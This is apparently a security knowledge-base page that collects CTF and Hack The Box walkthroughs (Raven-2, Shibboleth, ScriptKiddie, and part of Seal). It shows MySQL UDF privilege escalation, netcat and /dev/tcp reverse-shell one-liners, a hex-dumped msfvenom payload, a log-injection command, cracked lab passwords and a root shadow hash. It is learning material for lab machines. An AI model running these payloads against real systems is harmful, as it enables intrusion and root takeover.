You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.10 sec)

mysql> create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
<mod u+s /usr/bin/find');select do_system('chmod u+s /usr/bin/find');        
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
```

 - 开始提权并读取最后的flag4

``` bash
www-data@Raven:/tmp$ touch lucifer11
www-data@Raven:/tmp$ find lucifer11 -exec "whoami" \;
find lucifer11 -exec "whoami" \;
root
www-data@Raven:/tmp$ find lucifer11 -exec "id" \;
find lucifer11 -exec "id" \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/tmp$ find lucifer11 -exec "/bin/sh" \;
find lucifer11 -exec "/bin/sh" \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# whoami
whoami
root
# pwd
pwd
/tmp
# cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt
cat flag4.txt
  ___                   ___ ___ 
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | | 
 |_|_\__,_|\_/\___|_||_|___|___|
                           
flag4{df2bc5e951d91581467bb9a2a8ff4425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io
```

完成提权并且成功的读取到了flag4

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub222.jpg)


 - 【提权方法3】：

还是利用Mysql udf提权，只不过这次用到setuid.c

setuid.c

``` bash
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
	setuid(0); setgid(0); system("/bin/bash");
}
```

下面是整个mysql语句的操作命令，步骤可以参照【提权方式2】

``` bash
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so'; 
select * from mysql.func;
select do_system('gcc -o /tmp/setuid /tmp/setuid.c');
select do_system('chmod u+s /tmp/setuid');
\! sh .
/setuid
```

命令执行完成之后即拥有了root权限的shell


#### 知识点总结

 - PHPMailer<5.2.18-远程命令执行
 - mysql5.5版本udf提权（1518.c）
 - setuid.c脚本提权


<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Raven-2 -->

</details>

<a id="case-shibboleth"></a>

## 管理平台与 MariaDB 加载路径

原链从 Zabbix 账户进入命令执行，再利用 MariaDB 配置的动态库加载行为提权。数据库身份、插件文件和执行结果保留。

<p class="kb-provenance">来源 shibboleth · 原记录 2021-11-14 · 10 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-shibboleth">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start shibboleth -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	13 Nov 2021
IP:	10.10.11.124

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2098.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/shibboleth]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.124
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
```

just find an open 80 port...

#### wfuzz fuzz subdomains

finded the following 3 subdomains

``` bash
monitor.shibboleth.htb
monitoring.shibboleth.htb
zabbix.shibboleth.htb
```

let's add these subdomains to our /etc/hosts file

``` bash
10.10.11.124       shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb
```

#### information gathering

then goto:

``` bash
http://zabbix.shibboleth.htb/index.php
```

target is using Zabbix, that's interesting...

let's brute the username and password with msf module auxiliary/scanner/http/zabbix_login

or:

got the hash with scanner/ipmi/ipmi_dumphashes

and then cracked it with hashcat. Take note of the password because you will need it later.

Credentials for zabbix Administrator:ilovepumkinpie1

#### initial shell and got user

Go to Config -> Hosts -> Items -> Create an Item : Name the item whatever, put your key as system.run[bash rev shell &,nowait], then time as 1m.,click the "test" button. Send the payload and wait for 1 min.

``` bash
system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 7400 >/tmp/f &,nowait]
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2099.jpg)

and we got a initial shell

check the /etc/passwd file found that ipmi-svc user are interesting...

``` bash
┌──(root💀kali)-[~/hackthebox/machine/shibboleth]
└─# nc -lvp 7400
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7400
Ncat: Listening on 0.0.0.0:7400
Ncat: Connection from 10.10.11.124.
Ncat: Connection from 10.10.11.124:52976.
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
zabbix@shibboleth:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
zabbix:x:110:118::/var/lib/zabbix/:/usr/sbin/nologin
Debian-snmp:x:111:119::/var/lib/snmp:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
```

To get user and use the same password:

``` bash
zabbix@shibboleth:/$ su - ipmi-svc
su - ipmi-svc
Password: ilovepumkinpie1

ipmi-svc@shibboleth:~$ id
id
uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)
ipmi-svc@shibboleth:~$ whoami
whoami
ipmi-svc
ipmi-svc@shibboleth:~$ cd ~
cd ~
ipmi-svc@shibboleth:~$ cat user.txt
cat user.txt
1d4770a14467f4a395f0441d620a6807
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2100.jpg)

#### get root access

after run some privesc scripts, we find that CVE-2021-27928 maybe helpful To get root

 - [CVE-2021-27928](https://github.com/Al1ex/CVE-2021-27928)

Easy root just the following steps.

1. msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4455 -f elf-so -o CVE-2021-27928.so
2. nc -lnvp 4455
3. python3 -m http.server 80
4. cd /tmp and then wget http://10.10.14.12/CVE-2021-27928.so
5. run python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())' check the output (this step is not necessary......just take a look)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/shibboleth]
└─# python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
7f454c4602010100000000000000000003003e000100000092010000000000004000000000000000b000000000000000000000004000380002004000020001000100000007000000000000000000000000000000000000000000000000000000dc0100000000000026020000000000000010000000000000020000000700000030010000000000003001000000000000300100000000000060000000000000006000000000000000001000000000000001000000060000000000000000000000300100000000000030010000000000006000000000000000000000000000000008000000000000000700000000000000000000000300000000000000000000009001000000000000900100000000000002000000000000000000000000000000000000000000000000000000000000000c00000000000000920100000000000005000000000000009001000000000000060000000000000090010000000000000a0000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000000006a2958996a025f6a015e0f05489748b9020011670a0a0e0c514889e66a105a6a2a580f056a035e48ffce6a21580f0575f66a3b589948bb2f62696e2f736800534889e752574889e60f05
```

6. mysql -uzabbix -pbloooarskybluh -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

Don't worry about getting "ERROR 2013 (HY000): Lost connection to MySQL server during query" error

``` bash
ipmi-svc@shibboleth:/tmp$ mysql -uzabbix -pbloooarskybluh -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
<ET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
ERROR 2013 (HY000) at line 1: Lost connection to MySQL server during query
```

we will receive a connection back as root immediately.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/shibboleth]
└─# nc -lvp 4455
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Ncat: Connection from 10.10.11.124.
Ncat: Connection from 10.10.11.124:41428.
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@shibboleth:/var/lib/mysql# whoami
whoami
root
root@shibboleth:/var/lib/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
root@shibboleth:/var/lib/mysql# cd ~
cd ~
root@shibboleth:/root# cat root.txt
cat root.txt
d0d2d3d47038f6e4ed147edbbc3d5a7c
root@shibboleth:/root# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$HeRqkRJL9pttp4EY$TBE4vztPy9lOaywPhVdhQHwiPa09s7RJw418EMjmS0RKea/1QBwLqTHK84ato5yDBF59dMvSNbQQ1pVy.K1dp.:18741:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2101.jpg)

#### Summary of knowledge

 - Zabbix brute & hash crack with hashcat
 - Zabbix getshell
 - su - to get user privesc
 - CVE-2021-27928 to get root privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end shibboleth -->

</details>




# 构建、包安装与自动化任务

仓库、包、模板和日志中的数据会被自动化程序再次解释。本章保留 Azure DevOps、Ansible、PyPI 与 msfvenom 的原记录，沿任务输入、执行身份、可写文件和实际输出阅读。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/pipelines/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Worker 的仓库写入与 Agent 身份决定构建任务能做什么。

Seal 的备份与 playbook、SneakyMailer 的 HOME 与 setup.py 各有独立触发点。

ScriptKiddie 的 APK 模板和日志消费是两个命令边界，原载荷逐段保留。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [APK 模板处理与日志消费](#case-scriptkiddie) | ScriptKiddie | 命令注入、APK、计划任务 |
| [反向代理映射与 Ansible 任务](#case-seal) | seal | Tomcat、反向代理、Ansible |
| [邮件凭据与 Python 包执行](#case-sneakymailer) | SneakyMailer | 邮件、PyPI、pip、sudo |
| [SVN 历史与 DevOps Agent 身份](#case-worker) | worker | SVN、Azure DevOps、CI/CD |

<a id="case-scriptkiddie"></a>

## APK 模板处理与日志消费

msfvenom 模板解析和后台日志消费是两个命令边界。原文保留日志字段中的空格、分隔符与任务运行身份。

<p class="kb-provenance">来源 ScriptKiddie · 原记录 2021-02-07 · 10 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-scriptkiddie">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start ScriptKiddie -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	06 Feb 2021
IP:	10.10.10.226

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb174.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.226
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### Enumeration

Port 5000 Webapp

Some kind of hacking tool.

When generating any windows or linux payload using the website on port 5000 we discover a /static/payloads/name.exe of generated payloads where we can download from:

``` bash
payload: windows/meterpreter/reverse_tcp
LHOST: 10.10.14.3
LPORT: 4444
template: None
download: 122f1def6a8b.exe
expires: 5 mins


http://10.10.10.226:5000/static/payloads/122f1def6a8b.exe
```

We also see that we can provide a template for given payload type we are going to generate

Also there is APK template allowed and after some googling we found out exploit module for APK template which uses command injection:

 - [Rapid7 Metasploit Framework msfvenom APK Template Command Injection](https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/)

We generated the following apk file and we going to use it as template:

``` bash
msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) >set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options

Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.apk          yes       The APK file name


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.3       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```
and then got a shell :)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie]
└─# nc -lvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.226.
Ncat: Connection from 10.10.10.226:56260.
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)
whoami
kid
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 3: python: not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ id
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)
kid@scriptkiddie:~/html$ cd 
cd 
kid@scriptkiddie:~$ ls
ls
html  logs  snap  user.txt
kid@scriptkiddie:~$ cat user.txt
cat user.txt
b8f1aa40582cab9d40ac5866fbb13ec1
```

and the user flag...

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb175.jpg)


#### get root

There is also a second user of name pwn.

After a shell on the box we found a script running as pwn:

``` bash
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Interesting Pspy64 findings:

``` bash
2021/02/07 06:36:42 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
2021/02/07 06:37:19 CMD: UID=1001 PID=409118 | rm /tmp/f 
2021/02/07 06:37:19 CMD: UID=1001 PID=409122 | nc 10.10.16.117 9000 
2021/02/07 06:37:19 CMD: UID=1001 PID=409121 | /bin/sh -i 
2021/02/07 06:37:19 CMD: UID=1001 PID=409120 | cat /tmp/f 
2021/02/07 06:38:01 CMD: UID=0    PID=409123 | /usr/sbin/CRON -f 
2021/02/07 06:38:01 CMD: UID=0    PID=409125 | find /home/kid/html/static/payloads/ -type f -mmin +5 -delete 
2021/02/07 06:38:01 CMD: UID=0    PID=409124 | /bin/sh -c find /home/kid/html/static/payloads/ -type f -mmin +5 -delete
```

After quick testing for command injection inside /home/kid/logs/hackers file we were able to put two spaces and then semicolon with our bash reverse shell in order to get command execution (We also commented out the rest of the nmap command with '#' in the script in order to escape the redirection to /dev/null output):

``` bash
;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' #
```

Results:

``` bash
echo "  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' #" >> hackers
```

then get a reverse shell

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.226.
Ncat: Connection from 10.10.10.226:57604.
bash: cannot set terminal process group (842): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ id
id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@scriptkiddie:~$ whoami
whoami
pwn
pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
```

finally get the root flag

``` bash
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
sudo /opt/metasploit-framework-6.0.9/msfconsole
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: To save all commands executed since start up to a file, use the makerc command

stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > id
stty: 'standard input': Inappropriate ioctl for device
[*] exec: id

uid=0(root) gid=0(root) groups=0(root)
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > whoami
stty: 'standard input': Inappropriate ioctl for device
[*] exec: whoami

root
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > pwd
stty: 'standard input': Inappropriate ioctl for device
[*] exec: pwd

/home/pwn
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > cd /root
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > ls
stty: 'standard input': Inappropriate ioctl for device
[*] exec: ls

root.txt
snap
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
msf6 > cat root.txt
stty: 'standard input': Inappropriate ioctl for device
[*] exec: cat root.txt

f485b5d61b464bdd4fcb17809ad8fa8b
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
stty: 'standard input': Inappropriate ioctl for device
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb176.jpg)


#### Summary of knowledge

 - Rapid7 Metasploit Framework msfvenom APK Template Command Injection
 - cron job and Permissions misconfigured privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end ScriptKiddie -->

</details>

<a id="case-seal"></a>

## 反向代理映射与 Ansible 任务

nginx 与 Tomcat 的路径映射连接管理功能，备份任务的符号链接提供私钥。Ansible playbook 的 sudo 入口保留源配置与运行参数。

<p class="kb-provenance">来源 seal · 原记录 2021-07-12 · 25 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-seal">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start seal -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	10 Jul 2021
IP:	10.10.10.250

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2016.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

``` bash
┌──(root💀kali)-[~/hackthebox/machine/seal]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.250
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
8080/tcp open  http-proxy
```

So the SSL certificate gives you a domain name seal.htb so let's add it in /etc/hosts.

```bash
echo "10.10.10.250 seal.htb" >> /etc/hosts
```

now that we have that let's visit some ports.

#### Port 443

looks like a fancy version of some market for vegetables and store page was almost static except for the search bar and contact us form so let's move on to 

#### Port 8080

Visiting port 8080 we have a Gitbucket instance so let's register an account and then login in with it.

After logging in we can see two repos by root infra and seal_market.

From port 443 we have the instance of seal_market over there so that looks intresting so let's move on with that.

Reading the README.md file gives us something intrsting.

``` md
Seal Market App
===============
A simple online market application which offers free shopping, avoid crowd in this pandemic situation, saves time. 

## ToDo
* Remove mutual authentication for dashboard, setup registration and login features.
* Deploy updated tomcat configuration.
* Disable manager and host-manager.
```

So First we know that nginx is just relaying the request to backend tomcat server and secondly the configuration for this server is not the newest as shown in the repos so we can search through commit as the older configuration might be vulnerable.

And Lastly we know that we have access to manager and host-manager from the https://seal.htb/ so let's try that.

#### Port 443

``` bash
kali@kali:~/HackTheBox/Seal$ curl -k https://seal.htb/manager/html
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
```

Well we should have access to it as said in the README then I thought maybe we have access to some other endpoint in manager.

So let's fuzz and see we know that it is tomcat so it's better to use specialized wordlist for that.

I am using one from the seclist which you can find at the below link.

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/tomcat.txt

#### Directory Fuzzing

``` bash
kali@kali:~/HackTheBox/Seal$ ffuf -k -u https://seal.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt -t 200 -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://seal.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/tomcat.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

examples/../manager/html [Status: 403, Size: 162, Words: 4, Lines: 8]
examples/%2e%2e/manager/html [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/jmxproxy/*      [Status: 401, Size: 2499, Words: 457, Lines: 64]
manager/status.xsd      [Status: 200, Size: 4374, Words: 749, Lines: 85]
host-manager/html/*     [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/html            [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/html/*          [Status: 403, Size: 162, Words: 4, Lines: 8]
manager/jmxproxy        [Status: 401, Size: 2499, Words: 457, Lines: 64]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1]
manager/status/*        [Status: 401, Size: 2499, Words: 457, Lines: 64]
host-manager            [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [90/90] :: Job [1/1] :: 113 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```

Looks like we can access https://seal.htb/manager/status.xsd

and also we have have https://seal.htb/manager/jmxproxy

and yeah it's asked from creds so let's go on finding those in some previous commit as we know that it is using old tomcat configuration from the README.md file.

Looking through commits on this repo we have 13 commit which wouldn't be much to look through.

http://seal.htb:8080/root/seal_market/commits/master

The commit commit looks intresting in our context which is adding 'adding tomcat configuration' and 'updating tomcat configuration' as we know that updating configuration is probably the current version let's check 'adding tomcat configuration' first.

http://seal.htb:8080/root/seal_market/commit/ac210325afd2f6ae17cce84a8aa42805ce5fd010

we can see the famous Git Diff view so let's hunt for creds in that.

searching  for password using the ctrl+f on the webpage I found this instance of it in tomcat-users.xml

``` xml
<?xml version="1.0" encoding="UTF-8"?>
		<!--
		  Licensed to the Apache Software Foundation (ASF) under one or more
		  contributor license agreements.  See the NOTICE file distributed with
		  this work for additional information regarding copyright ownership.
		  The ASF licenses this file to You under the Apache License, Version 2.0
		  (the "License"); you may not use this file except in compliance with
		  the License.  You may obtain a copy of the License at
		 
		      http://www.apache.org/licenses/LICENSE-2.0
		 
		  Unless required by applicable law or agreed to in writing, software
		  distributed under the License is distributed on an "AS IS" BASIS,
